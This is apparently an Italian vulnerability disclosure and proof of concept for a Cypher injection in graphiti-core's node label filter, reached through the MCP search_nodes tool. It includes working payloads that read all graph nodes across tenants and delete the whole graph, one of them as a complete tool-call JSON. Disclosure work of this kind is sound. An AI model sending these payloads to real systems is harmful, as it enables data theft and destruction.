
Proof-of-concept per CVE-2026-32247, un'iniezione Cypher in graphiti-core tramite node_labels non sanificati, che dimostra l'esfiltrazione di dati e la cancellazione del grafo attraverso MCP search_nodes.
Gravità: Alta (CVSS 8.1)
CWE: CWE-943 — Neutralizzazione impropria di elementi speciali nella logica di interrogazione dei dati
Interessato: graphiti-core <= 0.28.1 (pip)
Corretto in: 0.28.2
Avviso: GHSA-gg5m-55jj-8m5g
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-32247
Riconoscimento: Romain Deperne
graphiti-core costruisce le clausole WHERE di Cypher unendo le stringhe delle etichette dei nodi fornite dall'utente con | e concatenandole in una query grezza. Un attaccante può iniettare operatori Cypher arbitrari, esfiltrare dati da qualsiasi nodo del grafo attraverso tutti i tenant, o eliminare l'intero grafo — nessuna parametrizzazione, nessuna validazione in tutta la catena.
Ho verificato la costruzione delle query al confine tra lo strumento MCP e il database a grafo. In search_filters.py, 'n:' + node_labels concatenava i valori del parametro dello strumento entity_types direttamente in una query Cypher.
Ciò che rendeva questo caso interessante al di là di una semplice iniezione standard: la clausola WITH di Cypher consente di uscire da un contesto WHERE e avviare una pipeline completamente nuova. Quindi ) chiude l'espressione tra parentesi delle etichette, WITH n passa a una nuova clausola, e // scarta silenziosamente il resto della query originale. Un solo payload, accesso completo al grafo.
Ho dapprima riprodotto la costruzione della query in uno script autonomo, poi ho verificato il caso distruttivo contro un database a grafo prima di segnalarlo.
File: graphiti_core/search/search_filters.py, righe 91–92 e 134–135
# Vulnerable code — exact copy from source
node_labels = '|'.join(filters.node_labels)
node_label_filter = 'n:' + node_labels
# node_label_filter is then interpolated into a Cypher WHERE clause
Punto di ingresso: mcp_server/src/graphiti_mcp_server.py, riga 441
search_filters = SearchFilters(
node_labels=entity_types, # user input passed directly, no validation
)
Il parametro entity_types fluisce dalla chiamata allo strumento MCP search_nodes direttamente nel query builder. Entrambi i backend Neo4j e FalkorDB sono interessati. Il backend Kuzu non è interessato perché utilizza query parametrizzate.
Il valore node_label_filter (n:Label1|Label2) viene incorporato in una query Cypher come:
WHERE (n:Label1|Label2) AND ...
Poiché le etichette sono unite tramite | e racchiuse tra parentesi dal chiamante, un attaccante deve solo chiudere l'espressione con ) e iniettare nuove clausole Cypher. L'operatore di commento // sopprime il resto della query originale.
# Exact logic from search_filters.py lines 91-92
def build_filter(node_labels):
labels = '|'.join(node_labels)
return 'n:' + labels
# Benign
print(build_filter(["Person", "Organization"]))
# → n:Person|Organization → WHERE (n:Person|Organization) AND ...
# Exfiltration: read all nodes across all groups
print(build_filter(["Entity`) WITH n MATCH (x) RETURN x //"]))
# → n:Entity`) WITH n MATCH (x) RETURN x //
# Full Cypher: WHERE (n:Entity`) WITH n MATCH (x) RETURN x // AND ...
# The `) closes the WHERE, WITH starts a new pipeline, // drops the rest
# Deletion: wipe the entire graph
print(build_filter(["Entity`) WITH n MATCH (x) DETACH DELETE x //"]))
Tramite chiamata allo strumento MCP:
{
"tool": "search_nodes",
"arguments": {
"query": "test",
"entity_types": ["Entity`) WITH n MATCH (x) DETACH DELETE x //"]
}
}
group_idDETACH DELETE cancella l'intero grafogroup_id viene applicato dopo il filtro di label iniettabile — iniettando una clausola WITH lo si aggira completamenteLa versione corretta valida le label dei nodi rispetto a una allowlist di caratteri alfanumerici prima dell'interpolazione, e il percorso di ricerca fulltext utilizza query parametrizzate per i valori di group_id.